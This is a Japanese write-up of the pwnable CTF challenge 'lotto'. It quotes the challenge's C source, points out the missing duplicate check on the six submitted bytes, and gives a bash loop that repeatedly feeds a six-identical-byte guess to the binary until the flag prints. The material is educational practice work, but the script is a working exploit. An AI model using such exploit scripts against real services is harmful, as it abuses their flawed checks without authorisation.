CTF、pwnable #13 lottoのwriteup

(writeup見ちゃいました)

調査

ロトをやらされます。
 1~45の6つの乱数が生成されます。6つの番号(というか6つのbyte)を入力し、そのうち1つでも乱数と一致していればflagがもらえます。

play()関数について


void play(){

    int i;
    printf("Submit your 6 lotto bytes : ");
    fflush(stdout);

    int r;
    r = read(0, submit, 6);

    printf("Lotto Start!n");
    //sleep(1);

    // generate lotto numbers
    int fd = open("/dev/urandom", O_RDONLY);
    if(fd==-1){
        printf("error. tell adminn");
        exit(-1);
    }
    unsigned char lotto[6];
    if(read(fd, lotto, 6) != 6){
        printf("error2. tell adminn");
        exit(-1);
    }
    for(i=0; i<6; i++){
        lotto[i] = (lotto[i] % 45) + 1;        // 1 ~ 45
    }
    close(fd);

    // calculate lotto score
    int match = 0, j = 0;
    for(i=0; i<6; i++){
        for(j=0; j<6; j++){
            if(lotto[i] == submit[j]){
                match++;
            }
        }
    }

    // win!
    if(match == 6){
        system("/bin/cat flag");
    }
    else{
        printf("bad luck...n");
    }

}

ロトはソースコードのplay関数で行われています。

「ロト6」は普通、6つの数字は重複してはいけません。じゃないと低い等数の当選が狙いやすくなってしまいます。
ですが、play関数ではどこも6つの数(というかbyte)の重複チェックをしていません。

解法

よって、6つの数を全部同じ数にすれば良いです。

次のシェルスクリプトで自動で繰り返します。
対話型のプログラムの相手をさせるならexpectが一番でしょうが、サーバに入ってないのでこれも使えない。
標準的な機能のみで対話型?プログラムの自動化をするのは、(vMasturbation: bashのみで対話的なtelnetを自動実行する)を参考にしました。
μ秒単位で寝てくれるusleepも無いので仕方なく秒単位で寝るsleepを使わざるを得ませんが試行回数が少ないので実用範囲内です。


#!/bin/bash 
commandline()
{
sleep 1; echo  "1"
sleep 1; echo  "######3"
}

for i in `seq 0 30`
do
  touch /tmp/tmpfile1
  commandline | ./lotto > /tmp/tmpfile1
  cat /tmp/tmpfile1 | grep "bad"
  #badなんとかって文言がないとき==当選したとき
  if [ $? = 1 ] ; then
    #当選したときのログを表示して終了
    cat /tmp/tmpfile1
    rm -f /tmp/tmpfile1
    break
  fi
  rm -f /tmp/tmpfile1
done

なんか最初の1行だけ端末に表示されちゃいますが、動きます。

コメント